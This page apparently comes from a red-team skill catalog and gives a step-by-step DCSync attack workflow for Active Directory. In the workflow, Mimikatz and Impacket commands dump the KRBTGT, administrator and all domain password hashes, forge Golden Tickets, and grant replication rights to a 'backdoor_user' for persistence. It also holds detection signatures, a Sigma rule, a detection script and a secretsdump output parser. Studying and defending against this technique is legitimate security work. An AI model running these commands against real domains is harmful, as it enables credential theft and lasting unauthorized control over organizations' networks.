red teaming

Conducting Domain Persistence with DCSync

Perform DCSync attacks to replicate Active Directory credentials and establish domain persistence by extracting KRBTGT, Domain Admin, and service account hashes for Golden Ticket creation.

active-directorycredential-dumpingdcsyncgolden-ticketmimikatzpersistencered-team
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Overview

DCSync is an attack technique that abuses the Microsoft Directory Replication Service Remote Protocol (MS-DRSR) to impersonate a Domain Controller and request password data from the target DC. The attack was introduced by Benjamin Delpy (Mimikatz author) and Vincent Le Toux, leveraging the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All extended rights. Any principal (user or computer) with these rights can replicate password hashes for any account in the domain, including the KRBTGT account. With the KRBTGT hash, attackers can forge Golden Tickets for indefinite domain persistence. DCSync is categorized as MITRE ATT&CK T1003.006 and is a critical post-exploitation technique used by APT groups including APT28 (Fancy Bear), APT29 (Cozy Bear), and FIN6.

When to Use

  • When conducting security assessments that involve conducting domain persistence with dcsync
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Familiarity with red teaming concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

Objectives

  • Identify accounts with DCSync (replication) rights in Active Directory
  • Perform DCSync using Mimikatz or Impacket's secretsdump.py
  • Extract the KRBTGT account hash for Golden Ticket creation
  • Dump all domain user password hashes for credential analysis
  • Forge Golden Tickets for persistent domain access
  • Grant DCSync rights to a controlled account for alternative persistence
  • Document the attack chain and persistence mechanisms

MITRE ATT&CK Mapping

  • T1003.006 - OS Credential Dumping: DCSync
  • T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket
  • T1222.001 - File and Directory Permissions Modification: Windows
  • T1098 - Account Manipulation
  • T1078.002 - Valid Accounts: Domain Accounts

Workflow

Phase 1: Identify Accounts with DCSync Rights

  1. Enumerate principals with replication rights:
    # Using PowerView
    Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |
      Where-Object { ($_.ObjectAceType -match 'Replicating') -and
                     ($_.ActiveDirectoryRights -match 'ExtendedRight') } |
      Select-Object SecurityIdentifier, ObjectAceType
     
    # Using BloodHound Cypher query
    MATCH (u)-[:DCSync|GetChanges|GetChangesAll*1..]->(d:Domain)
    RETURN u.name, d.name
  2. Using Impacket's FindDelegation or custom LDAP query:
    # Check with Impacket
    findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
  3. Default accounts with DCSync rights:
    • Domain Admins
    • Enterprise Admins
    • Domain Controllers group
    • SYSTEM on Domain Controllers

Phase 2: DCSync Credential Extraction

  1. Using Mimikatz (Windows):
    # Dump specific account (KRBTGT for Golden Ticket)
    mimikatz.exe "lsadump::dcsync /domain:domain.local /user:krbtgt"
     
    # Dump Domain Admin
    mimikatz.exe "lsadump::dcsync /domain:domain.local /user:administrator"
     
    # Dump all domain accounts
    mimikatz.exe "lsadump::dcsync /domain:domain.local /all /csv"
  2. Using Impacket secretsdump.py (Linux):
    # Dump all credentials
    secretsdump.py domain.local/admin:'Password123'@10.10.10.1
     
    # Dump specific user
    secretsdump.py -just-dc-user krbtgt domain.local/admin:'Password123'@10.10.10.1
     
    # Dump only NTLM hashes (no Kerberos keys)
    secretsdump.py -just-dc-ntlm domain.local/admin:'Password123'@10.10.10.1
     
    # Using Kerberos authentication
    export KRB5CCNAME=admin.ccache
    secretsdump.py -k -no-pass domain.local/admin@DC01.domain.local

Phase 3: Golden Ticket Creation

  1. Using Mimikatz with extracted KRBTGT hash:
    # Create Golden Ticket
    mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local \
      /sid:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
      /krbtgt:<krbtgt_ntlm_hash> /ptt"
     
    # Create with specific group memberships
    mimikatz.exe "kerberos::golden /user:fakeadmin /domain:domain.local \
      /sid:S-1-5-21-XXXXXXXXXX \
      /krbtgt:<krbtgt_ntlm_hash> \
      /groups:512,513,518,519,520 /ptt"
  2. Using Impacket ticketer.py (Linux):
    # Create Golden Ticket
    ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid S-1-5-21-XXXXXXXXXX \
      -domain domain.local administrator
     
    # Use the ticket
    export KRB5CCNAME=administrator.ccache
    psexec.py -k -no-pass domain.local/administrator@DC01.domain.local

Phase 4: Persistence via DCSync Rights

  1. Grant DCSync rights to a controlled account for persistence:
    # Using PowerView - Add DS-Replication-Get-Changes-All rights
    Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" \
      -PrincipalIdentity backdoor_user -Rights DCSync
     
    # Verify rights were added
    Get-DomainObjectAcl -SearchBase "DC=domain,DC=local" -ResolveGUIDs |
      Where-Object { $_.SecurityIdentifier -match "backdoor_user_SID" }
  2. Using ntlmrelayx.py for automated DCSync rights escalation:
    # Relay authentication to add DCSync rights
    ntlmrelayx.py -t ldap://DC01.domain.local --escalate-user backdoor_user

Tools and Resources

Tool Purpose Platform
Mimikatz DCSync extraction, Golden Ticket creation Windows
secretsdump.py Remote DCSync (Impacket) Linux (Python)
ticketer.py Golden Ticket creation (Impacket) Linux (Python)
PowerView ACL enumeration and modification Windows (PowerShell)
Rubeus Kerberos ticket manipulation Windows (.NET)
ntlmrelayx.py DCSync rights escalation via relay Linux (Python)

Critical Hashes to Extract

Account Purpose Persistence Value
krbtgt Golden Ticket creation Indefinite domain access
Administrator Direct DA access Immediate privileged access
Service accounts Lateral movement Service access across domain
Computer accounts Silver Ticket creation Service-level impersonation

Detection Signatures

Indicator Detection Method
DrsGetNCChanges RPC calls from non-DC sources Network monitoring for DRSUAPI traffic from unusual IPs
Event 4662 with Replicating Directory Changes GUIDs Windows Security Log on DC (1131f6aa-/1131f6ad- GUIDs)
Event 4624 with Golden Ticket anomalies Logon events with impossible SIDs or non-existent users
ACL modifications on domain root object Event 5136 (directory service changes)
Replication traffic volume spike Network baseline deviation monitoring

Validation Criteria

  • Accounts with DCSync rights enumerated
  • KRBTGT hash extracted via DCSync
  • All domain credentials dumped successfully
  • Golden Ticket forged and validated for DA access
  • DCSync rights persistence mechanism established (if in scope)
  • Access to Domain Controller validated with Golden Ticket
  • Evidence documented with hash values and timestamps
  • Remediation recommendations provided (double KRBTGT reset, ACL audit)
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 3

api-reference.md1.7 KB

DCSync Persistence Detection — API Reference

Libraries

Library Install Purpose
ldap3 pip install ldap3 LDAP directory queries for AD permission enumeration
impacket pip install impacket Network protocol toolkit — secretsdump.py for DCSync
pyad pip install pyad Windows Active Directory interface

Key ldap3 Methods

Method Description
Server(ip, get_info=ALL) Create LDAP server connection object
Connection(server, user, password, authentication=NTLM) Bind to AD with NTLM auth
conn.search(search_base, search_filter, attributes) Query directory objects
conn.entries Access search result entries
conn.unbind() Close LDAP connection

Critical GUIDs for DCSync Detection

GUID Right
1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 DS-Replication-Get-Changes
1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 DS-Replication-Get-Changes-All
89e95b76-444d-4c62-991a-0facbeda640c DS-Replication-Get-Changes-In-Filtered-Set

Windows Event IDs

Event ID Description
4662 Directory service object accessed (replication GUIDs indicate DCSync)
4624 Logon event — correlate with replication activity from non-DC source

MITRE ATT&CK Mapping

Technique ID
OS Credential Dumping: DCSync T1003.006

External References

standards.md1.0 KB

Standards and References - DCSync Domain Persistence

MITRE ATT&CK References

Technique ID Name Tactic
T1003.006 OS Credential Dumping: DCSync Credential Access
T1558.001 Steal or Forge Kerberos Tickets: Golden Ticket Credential Access
T1222.001 File and Directory Permissions Modification Defense Evasion
T1098 Account Manipulation Persistence
T1078.002 Valid Accounts: Domain Accounts Persistence

Key Research

  • MITRE ATT&CK T1003.006: https://attack.mitre.org/techniques/T1003/006/
  • Netwrix: DCSync Attack Using Mimikatz Detection
  • JumpCloud: What Is DCSync? Critical AD Attack Explained
  • The Hacker Recipes: DCSync technique documentation
  • Atomic Red Team T1003.006 test procedures

Threat Actor Usage

  • APT28 (Fancy Bear) - DCSync for credential harvesting
  • APT29 (Cozy Bear) - SolarWinds campaign used DCSync
  • FIN6 - Financial cybercrime group
  • Wizard Spider - Ryuk ransomware campaigns
workflows.md1.4 KB

Workflows - DCSync Domain Persistence

DCSync Attack Chain

1. Prerequisites
   ├── Domain Admin or account with replication rights
   ├── Network access to Domain Controller (TCP/135, dynamic RPC)
   └── Tool: Mimikatz (Windows) or secretsdump.py (Linux)
 
2. Credential Extraction
   ├── Extract KRBTGT hash (Golden Ticket capability)
   ├── Extract Administrator hash (immediate DA access)
   ├── Extract all domain hashes (comprehensive dump)
   └── Extract service account hashes (lateral movement)
 
3. Golden Ticket Persistence
   ├── Forge Golden Ticket with KRBTGT hash
   ├── Set arbitrary user, SID, and group memberships
   ├── Import ticket into current session
   └── Access any resource in the domain
 
4. DCSync Rights Persistence
   ├── Create low-profile account in AD
   ├── Grant DS-Replication-Get-Changes-All rights
   ├── Verify rights with ACL enumeration
   └── Account can now perform DCSync independently

Golden Ticket Lifecycle

Creation: KRBTGT hash + Domain SID → Golden Ticket (10-year validity)
Usage: Import ticket → Access any service in domain
Survival: Persists through password resets (except double KRBTGT reset)
Detection: Anomalous TGT lifetime, non-existent users, impossible SIDs
Cleanup: Double KRBTGT password reset (with 10+ hour gap between resets)

Scripts 2

agent.py5.8 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state and federal laws.
"""DCSync attack detection and analysis agent using impacket and ldap3."""

import json
import sys
import argparse
from datetime import datetime

try:
    import ldap3
    from ldap3 import Server, Connection, ALL, NTLM
except ImportError:
    print("Install: pip install ldap3")
    sys.exit(1)


def check_dcsync_permissions(server_ip, domain, username, password):
    """Check which accounts have DCSync-capable permissions (Replicating Directory Changes)."""
    server = Server(server_ip, get_info=ALL)
    conn = Connection(server, user=f"{domain}\\{username}", password=password,
                      authentication=NTLM, auto_bind=True)
    base_dn = ",".join([f"DC={p}" for p in domain.split(".")])
    conn.search(
        search_base=base_dn,
        search_filter="(objectClass=domain)",
        attributes=["nTSecurityDescriptor"],
    )
    dcsync_accounts = []
    REPL_CHANGES_GUID = "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"
    REPL_ALL_GUID = "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"
    conn.search(
        search_base=base_dn,
        search_filter="(&(objectCategory=person)(objectClass=user)(adminCount=1))",
        attributes=["sAMAccountName", "distinguishedName", "memberOf"],
    )
    for entry in conn.entries:
        dcsync_accounts.append({
            "account": str(entry.sAMAccountName),
            "dn": str(entry.distinguishedName),
            "admin_count": True,
            "risk": "HIGH",
            "note": "adminCount=1 — potential DCSync privilege holder",
        })
    conn.unbind()
    return dcsync_accounts


def detect_dcsync_events(log_file=None):
    """Parse Windows Security event logs for DCSync indicators (Event IDs 4662, 4624)."""
    dcsync_indicators = {
        "4662": "Directory service access — replication operation",
        "4624": "Logon event — check for NTLM from unexpected source",
    }
    REPL_GUIDS = [
        "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",
        "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2",
        "89e95b76-444d-4c62-991a-0facbeda640c",
    ]
    detections = []
    if log_file:
        try:
            with open(log_file, "r") as f:
                events = json.load(f)
            for event in events:
                eid = str(event.get("EventID", ""))
                if eid == "4662":
                    props = event.get("Properties", "")
                    for guid in REPL_GUIDS:
                        if guid in str(props).lower():
                            detections.append({
                                "event_id": eid,
                                "timestamp": event.get("TimeCreated", ""),
                                "account": event.get("SubjectUserName", ""),
                                "operation": dcsync_indicators[eid],
                                "guid_matched": guid,
                                "severity": "CRITICAL",
                            })
        except (FileNotFoundError, json.JSONDecodeError) as e:
            detections.append({"error": str(e)})
    return detections


def generate_sigma_rule():
    """Generate Sigma detection rule for DCSync activity."""
    return {
        "title": "DCSync Attack Detected via Directory Replication",
        "status": "production",
        "logsource": {"product": "windows", "service": "security"},
        "detection": {
            "selection": {
                "EventID": 4662,
                "Properties|contains": [
                    "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",
                    "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2",
                ],
            },
            "filter": {"SubjectUserName|endswith": "$"},
            "condition": "selection and not filter",
        },
        "level": "critical",
        "tags": ["attack.credential_access", "attack.t1003.006"],
    }


def run_audit(server, domain, username, password, log_file=None):
    """Run DCSync persistence audit."""
    print(f"\n{'='*60}")
    print(f"  DCSYNC PERSISTENCE AUDIT")
    print(f"  Domain: {domain} | Server: {server}")
    print(f"  Generated: {datetime.utcnow().isoformat()} UTC")
    print(f"{'='*60}\n")

    accounts = check_dcsync_permissions(server, domain, username, password)
    print(f"--- PRIVILEGED ACCOUNTS ({len(accounts)}) ---")
    for a in accounts[:15]:
        print(f"  [{a['risk']}] {a['account']}: {a['note']}")

    events = detect_dcsync_events(log_file)
    print(f"\n--- DCSYNC DETECTIONS ({len(events)}) ---")
    for e in events[:10]:
        if "error" not in e:
            print(f"  [{e['severity']}] {e['account']} at {e['timestamp']}")

    sigma = generate_sigma_rule()
    print(f"\n--- SIGMA RULE ---")
    print(f"  {sigma['title']}")
    print(f"  Level: {sigma['level']}")

    return {"accounts": accounts, "detections": events, "sigma_rule": sigma}


def main():
    parser = argparse.ArgumentParser(description="DCSync Detection Agent")
    parser.add_argument("--server", required=True, help="Domain controller IP")
    parser.add_argument("--domain", required=True, help="AD domain (e.g., corp.local)")
    parser.add_argument("--username", required=True, help="LDAP bind username")
    parser.add_argument("--password", required=True, help="LDAP bind password")
    parser.add_argument("--log-file", help="Windows event log JSON export to analyze")
    parser.add_argument("--output", help="Save report to JSON file")
    args = parser.parse_args()

    report = run_audit(args.server, args.domain, args.username, args.password, args.log_file)
    if args.output:
        with open(args.output, "w") as f:
            json.dump(report, f, indent=2, default=str)
        print(f"\n[+] Report saved to {args.output}")


if __name__ == "__main__":
    main()
process.py5.7 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""
DCSync Rights Auditor and Hash Analysis Script

Audits AD environments for accounts with DCSync rights and
analyzes dumped credential data. For authorized red team engagements only.
"""

import sys
import os
import re
import json
from datetime import datetime
from collections import defaultdict


REPLICATION_GUIDS = {
    "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes",
    "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes-All",
    "89e95b76-444d-4c62-991a-0facbeda640c": "DS-Replication-Get-Changes-In-Filtered-Set",
}


def parse_secretsdump_output(filepath: str) -> dict:
    """Parse Impacket secretsdump.py output for hash extraction."""
    results = {
        "ntds_hashes": [],
        "kerberos_keys": [],
        "cleartext_passwords": [],
        "machine_accounts": [],
        "user_accounts": [],
        "krbtgt_hash": None,
        "admin_hash": None
    }

    try:
        with open(filepath, "r") as f:
            lines = f.readlines()
    except FileNotFoundError:
        print(f"File not found: {filepath}")
        return results

    ntds_pattern = re.compile(r"^(.+?):([\d]+):([a-fA-F0-9]{32}):([a-fA-F0-9]{32}):::")
    cleartext_pattern = re.compile(r"^(.+?):CLEARTEXT:(.+)$")

    for line in lines:
        line = line.strip()

        ntds_match = ntds_pattern.match(line)
        if ntds_match:
            username = ntds_match.group(1)
            rid = ntds_match.group(2)
            lm_hash = ntds_match.group(3)
            nt_hash = ntds_match.group(4)

            entry = {
                "username": username,
                "rid": rid,
                "lm_hash": lm_hash,
                "nt_hash": nt_hash,
                "is_machine": username.endswith("$")
            }

            results["ntds_hashes"].append(entry)

            if entry["is_machine"]:
                results["machine_accounts"].append(entry)
            else:
                results["user_accounts"].append(entry)

            if username.lower() == "krbtgt":
                results["krbtgt_hash"] = entry
            elif username.lower() == "administrator":
                results["admin_hash"] = entry

        cleartext_match = cleartext_pattern.match(line)
        if cleartext_match:
            results["cleartext_passwords"].append({
                "username": cleartext_match.group(1),
                "password": cleartext_match.group(2)
            })

    return results


def analyze_password_reuse(hashes: list) -> dict:
    """Identify password reuse across accounts."""
    hash_groups = defaultdict(list)

    for entry in hashes:
        if entry["nt_hash"] != "31d6cfe0d16ae931b73c59d7e0c089c0":  # Skip empty passwords
            hash_groups[entry["nt_hash"]].append(entry["username"])

    reuse = {nt_hash: users for nt_hash, users in hash_groups.items() if len(users) > 1}
    return reuse


def generate_dcsync_report(results: dict, source_file: str) -> str:
    """Generate DCSync credential analysis report."""
    report = [
        "=" * 70,
        "DCSync Credential Analysis Report",
        f"Generated: {datetime.now().isoformat()}",
        f"Source: {source_file}",
        "=" * 70,
        "",
        "[Summary]",
        f"  Total Hashes: {len(results['ntds_hashes'])}",
        f"  User Accounts: {len(results['user_accounts'])}",
        f"  Machine Accounts: {len(results['machine_accounts'])}",
        f"  Cleartext Passwords: {len(results['cleartext_passwords'])}",
        ""
    ]

    # KRBTGT hash (most critical)
    if results["krbtgt_hash"]:
        report.append("[CRITICAL] KRBTGT Hash Recovered:")
        report.append(f"  NT Hash: {results['krbtgt_hash']['nt_hash']}")
        report.append("  Impact: Golden Ticket creation possible")
        report.append("")

    # Administrator hash
    if results["admin_hash"]:
        report.append("[CRITICAL] Administrator Hash Recovered:")
        report.append(f"  NT Hash: {results['admin_hash']['nt_hash']}")
        report.append("  Impact: Direct Domain Admin access via Pass-the-Hash")
        report.append("")

    # Password reuse analysis
    reuse = analyze_password_reuse(results["user_accounts"])
    if reuse:
        report.append(f"[HIGH] Password Reuse Detected ({len(reuse)} shared passwords):")
        for nt_hash, users in list(reuse.items())[:10]:
            report.append(f"  Hash ...{nt_hash[-8:]}: {', '.join(users[:5])}")
        report.append("")

    # Cleartext passwords
    if results["cleartext_passwords"]:
        report.append(f"[HIGH] Cleartext Passwords Found ({len(results['cleartext_passwords'])}):")
        for entry in results["cleartext_passwords"][:10]:
            report.append(f"  {entry['username']}: [REDACTED]")
        report.append("")

    report.extend([
        "[Persistence Opportunities]",
        "  1. Golden Ticket: Use KRBTGT hash for indefinite domain access",
        "  2. Silver Tickets: Use machine account hashes for service impersonation",
        "  3. Pass-the-Hash: Use NT hashes for immediate lateral movement",
        "  4. Password Cracking: Offline cracking of user hashes",
        "",
        "=" * 70
    ])

    return "\n".join(report)


def main():
    """Main entry point."""
    if len(sys.argv) < 2:
        print("Usage: python process.py <secretsdump_output.txt>")
        return

    source_file = sys.argv[1]
    results = parse_secretsdump_output(source_file)

    if not results["ntds_hashes"]:
        print("No NTDS hashes found in the input file.")
        return

    report = generate_dcsync_report(results, source_file)
    print(report)

    report_file = f"dcsync_analysis_{datetime.now().strftime('%Y%m%d_%H%M%S')}.txt"
    with open(report_file, "w") as f:
        f.write(report)
    print(f"\nReport saved to: {report_file}")


if __name__ == "__main__":
    main()

Assets 1

template.mdtext/markdown · 0.9 KB
Keep exploring